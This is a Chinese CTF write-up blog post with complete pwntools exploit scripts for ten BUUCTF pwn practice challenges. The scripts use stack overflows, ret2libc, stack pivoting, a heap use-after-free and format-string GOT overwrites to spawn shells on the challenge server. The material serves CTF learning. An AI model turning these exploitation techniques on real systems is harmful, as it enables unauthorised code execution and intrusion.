BUUCTF-pwn(8)

[ZJCTF 2019]Login

在这里插入图片描述
并且存在后门函数
在这里插入图片描述
此时我们可以通过动态调试查看rax所处位置!
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64',endian='little')

binary = './login'
r = remote("node4.buuoj.cn" ,26143)
#r = process(binary)
shell = 0x0400E88

#gdb.attach(r,'''b *0x0400BD3''')
r.recvuntil("Please enter username: ")
r.sendline("admin")
r.recvuntil("Please enter password: ")
payload = flat(["2jctf_pa5sw0rd" ,'\0'*0x3a ,shell ])
r.sendline(payload)

r.interactive()

jarvisoj_level1

本地方法如下,ret2shellcode,此方法远程不可

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './level1'
r = process(binary)
#r  =remote('node4.buuoj.cn',27335)
elf = ELF(binary)

r.recvuntil("0x")
buf_addr = int(r.recvuntil("?")[:-1],16)
log.info("buf_addr -> "+hex(buf_addr))

payload = asm(shellcraft.sh())
payload = payload.ljust(0x88+0x4,b'a')
payload += p32(buf_addr)
r.send(payload)

r.interactive()

远程方法使用ret2libc!
在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='i386')

binary = './level1'
#r = process(binary)
r  =remote('node4.buuoj.cn',27335)
elf = ELF(binary)
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x4)
r.sendline(payload)
write_addr = u32(r.recv(4))
log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr-libc.dump('write')
system = libc_base+libc.dump('system')
sh = libc_base+libc.dump('str_bin_sh')

payload = b'a'*(0x88+0x4)+p32(system)+p32(main)+p32(sh)
r.sendline(payload)

r.interactive()

mrctf2020_easyoverflow

该题目为一个签到题目!

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './mrctf2020_easyoverflow'
r = remote('node4.buuoj.cn',27371)
#r = process(binary)
elf = ELF(binary)

payload = b'a'*(0x70-0x40)+b'n0t_r3@11y_f1@g'
r.sendline(payload)

r.interactive()

wustctf2020_getshell_2

在这里插入图片描述
该题目使用了栈迁移,但其实三行代码就可以搞定了,但是当时溢出8字节,便率先想道了栈迁移,本类题目尽量使用栈迁移的方法解决,

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './wustctf2020_getshell_2'
r = remote('node4.buuoj.cn',29592)
#r = process(binary)
elf = ELF(binary)
system = elf.symbols['system']
shell = 0x0804851B
leave_ret = 0x0804859C
bss_addr = 0x0804A040 + 0x700#此时不可以为bss段首地址,否则运行到system开辟的新栈帧处于不可写状态,将无法获取权限
vuln_addr = 0x0804858D
sh = 0x08048670

#gdb.attach(r)
r.recvuntil("_//_\\_\\ \n")
payload = b'a'*0x18+p32(bss_addr)+p32(vuln_addr)+p32(leave_ret)
r.send(payload)
payload2 = b'aaaa'+p32(system)+p32(sh)+p32(sh)+b'a'*(0x18-0x10)+p32(bss_addr-0x18)+p32(leave_ret)
r.sendline(payload2)

r.interactive()

ciscn_2019_n_3

分析主要函数!
在这里插入图片描述
经典菜单堆题目,glibc为2.27,存在tcache了!
在这里插入图片描述
为申请函数,关键位置!
在这里插入图片描述
故我们可以利用Free函数中的该关键语句

( * (int (__cdecl  * *  )(int))(note[v0] + 4))(note[v0]);

此时我们只要将note[v0]+4修改我system函数地址,note[0]修改为bash,/bin/sh因字节太长无法修改进去!
此时执行的相当于system(“bash”+system)
在这里插入图片描述
此时也存在可以利用点,即我们可以修改note[v0]为system;/bin/sh,即执行system(“system;/bin/sh”); 但是经过实践发现该利用点无法获取权限!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './ciscn_2019_n_3'
r = remote('node4.buuoj.cn',27771)
#r = process(binary)
elf = ELF(binary)
system = elf.symbols['system']

def Allocate(index,choice,payload,size=0):
    r.sendlineafter("CNote > ",'1')
    r.sendlineafter("Index > ",str(index))
    r.sendlineafter("Type > ",str(choice))
    if choice==1:
        r.sendlineafter("Value > ",str(payload))
    else:
        r.sendlineafter("Length > ",str(size))
        r.sendlineafter("Value > ",payload)

def Free(index):
    r.sendlineafter("CNote > ",'2')
    r.sendlineafter("Index > ",str(index))

def Show(index):
    r.sendlineafter("CNote > ",'3')
    r.sendlineafter("Index > ",str(index))

def Purchase():
    r.sendlineafter("CNote > ",'4')

#gdb.attach(r)
Allocate(0,2,b'/bin/sh',0x20)
Allocate(1,2,b'/bin;/bin/sh\x00',0x20)
Allocate(2,2,b'/bin/sh',0x20)
Allocate(3,2,b'/bin/sh',0x20)

Free(1)
Free(2)
payload = b'bash'+p32(system)
Allocate(4,2,payload,0xc)
#gdb.attach(r)
Free(1)

r.interactive()

axb_2019_fmt32

32位格式化字符串漏洞!
在这里插入图片描述
该题目尝试了许多方法,因为sprintf遇到\x00会发生截断,故偏移量采用s上的值,但是因为32位程序,故不存在\x00,即不会发生截断,所以偏移量采用s上或format都可!这里采用了s上的偏移量,数值较大!直接采用fmtstr_payload自动生产payload!
在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='i386')

binary = './axb_2019_fmt32'
r = remote('node4.buuoj.cn',29021)
#r = process(binary)
elf = ELF(binary)
one = 0x3a80c
printf_got = elf.got['printf']
strlen_got = elf.got['strlen']

def fmt(payload):
    r.recvuntil("Please tell me:")
    r.sendline(payload)

sleep(0.1)
#gdb.attach(r)
'''fmt(b'a'+p32(printf_got)+b'dd%8$s')
r.recvuntil("dd")
print(hex(u32(r.recv(4))))'''

fmt(b'accbbbb.%80$s.%149$p.dd'+p32(printf_got))#8    74.5

r.recvuntil("bbbb.")
printf_addr = u32(r.recv(4))
#libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr-0x0049020
r.recvuntil("0x")
ebp_addr = int(r.recv(8),16)-0x18
log.info("printf_addr -> "+hex(printf_addr))
log.info("libc_base -> "+hex(libc_base))
log.info("ebp_addr -> "+hex(ebp_addr))
system = libc_base+0x003A940#libc.dump('system')
sh = libc_base+0x0015902b#libc.dump('str_bin_sh')
one += libc_base

payload = b'abbcccc'+fmtstr_payload(76,{strlen_got:system},numbwritten=16,write_size='byte')#76
#payload = b'accbbbb.%8$p.%76$p.'
#gdb.attach(r)
fmt(payload)
r.send(b';/bin/sh\x00')

r.interactive()

ciscn_2019_s_4

在这里插入图片描述
利用点很简单!甚至还有后门函数.
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './ciscn_s_4'
r = remote('node4.buuoj.cn',29098)
#r = process(binary)
elf = ELF(binary)
hack = 0x0804854B
leave_ret = 0x080484b8

#gdb.attach(r)
r.recvuntil("Welcome, my friend. What's your name?\n")
r.send(cyclic(0x20))
r.recv(0x2f)
ebp_addr = u32(r.recv(4))-0x10
libc_base = u32(r.recv(8)[4:8])-0x1F39E0
log.info("ebp_addr -> "+hex(ebp_addr))
log.info("libc_base -> "+hex(libc_base))

system = elf.symbols['system']#libc_base+0x3CD10#+0x3D250
sh = libc_base+0x0017b8cf#+0x17E3CF

payload2 = b'aaaa'+p32(system)+p32(sh)+p32(ebp_addr-0x18)+b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'a')+p32(ebp_addr-0x28)+p32(leave_ret)
r.send(payload2)

r.interactive()

pwnable_start

该题目为pwnable.kr上的原题start
在这里插入图片描述
改题目无保护开启,则我们可以往栈上写入汇编代码执行!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './start'
r = remote('node4.buuoj.cn',29906)
#r = process(binary)
elf = ELF(binary)
ret = 0x0804809C

#gdb.attach(r)
r.recvuntil("Let's start the CTF:")
payload = b'a'*0x14+p32(0x8048087)
r.send(payload)
esp_addr = u32(r.recv(4))-0x4
log.info("esp_addr -> "+hex(esp_addr))

shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0xb;mov ebx,"
shellcode += str(hex(esp_addr))+";int 0x80"
print(shellcode)

payload = b'/bin/sh\x00'
payload = payload.ljust(0x14,b'c')+p32(esp_addr+0x14+0x4)+asm(shellcode)
r.send(payload)

r.interactive()

hitcontraining_magicheap

经典堆溢出菜单题目!
在这里插入图片描述
分析主要函数!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此时我们发现在Edit函数中不存在对size的过滤!
故我们采用堆溢出修改下一块的地址,达到任意地址写,从而符合条件拿到后门函数!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './magicheap'
r = remote('node4.buuoj.cn',26963)
#r = process(binary)
elf = ELF(binary)
bss_addr = 0x060208d

def Allocate(size,payload=''):
    r.sendlineafter("Your choice :",'1')
    r.sendlineafter("Size of Heap : ",str(size))
    r.sendlineafter("Content of heap:",payload)

def Free(index):
    r.sendlineafter("Your choice :",'3')
    r.sendlineafter("Index :",str(index))

def Edit(index,size,payload=''):
    r.sendlineafter("Your choice :",'2')
    r.sendlineafter("Index :",str(index))
    r.sendlineafter("Size of Heap : ",str(size))
    r.sendlineafter("Content of heap : ",payload)

def Exit():
    r.sendlineafter("Your choice :",'4')

Allocate(0x60)#0
Allocate(0x60)#1
Allocate(0x60)#2
Allocate(0x60)#3
Allocate(0x60)#4

Free(3)
Free(1)
payload = b'a'*0x68+p64(0x71)+p64(bss_addr)
Edit(0,0x78,payload)

Allocate(0x60)#1
Allocate(0x60)#3
Edit(3,0x10,b'\xff'*0x10)
r.sendline("4869")
#gdb.attach(r)


r.interactive()

others_babystack

在这里插入图片描述
因为溢出0x10字节,故可以使用栈迁移,而存在打印函数,故可以泄露栈地址与canary值。第一次栈迁移泄露libc地址,第二次栈迁移执行system("/bin/sh")函数!
在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')

binary = './babystack'
r = remote('node4.buuoj.cn',25553)
#r = process(binary)
elf = ELF(binary)
main = 0x0400908#elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0400a93
leave_ret = 0x0400824

def leak():
    r.sendlineafter(">> ",'2')

def stackOver(payload):
    r.sendlineafter(">> ",'1')
    sleep(0.5)
    r.send(payload)

def Exit():
    r.sendlineafter(">> ",'3')


stackOver(b'a'*0x78+b'b'*0x8)
leak()
r.recvuntil(b'bbbbbbbb')
ebp_addr = u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00'))-0xe0

stackOver(b'a'*0x78+b'b'*0x8+b'c'*0x8+b'd')
leak()
r.recvuntil("ccccd")
canary = u64(r.recv(7).rjust(8,b'\x00'))

log.info("ebp_addr -> "+hex(ebp_addr))
log.info("canary -> "+hex(canary))

payload = b'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
payload = payload.ljust(0x88,b'b')+p64(canary)+p64(ebp_addr-0x90)+p64(leave_ret)
stackOver(payload)
#gdb.attach(r)

Exit()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
log.info("puts_addr -> "+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc_base+libc.dump('system')
sh = libc_base+libc.dump('str_bin_sh')

payload = b'aaaaaaaa'+p64(pop_rdi_ret)+p64(sh)+p64(system)
payload = payload.ljust(0x88,b'c')+p64(canary)+p64(ebp_addr-0x70-0x90)+p64(leave_ret)
stackOver(payload)
#gdb.attach(r)
Exit()

r.interactive()
posted @ 2021-12-29 13:33  望权栈  阅读(30)  评论(0编辑  收藏  举报  来源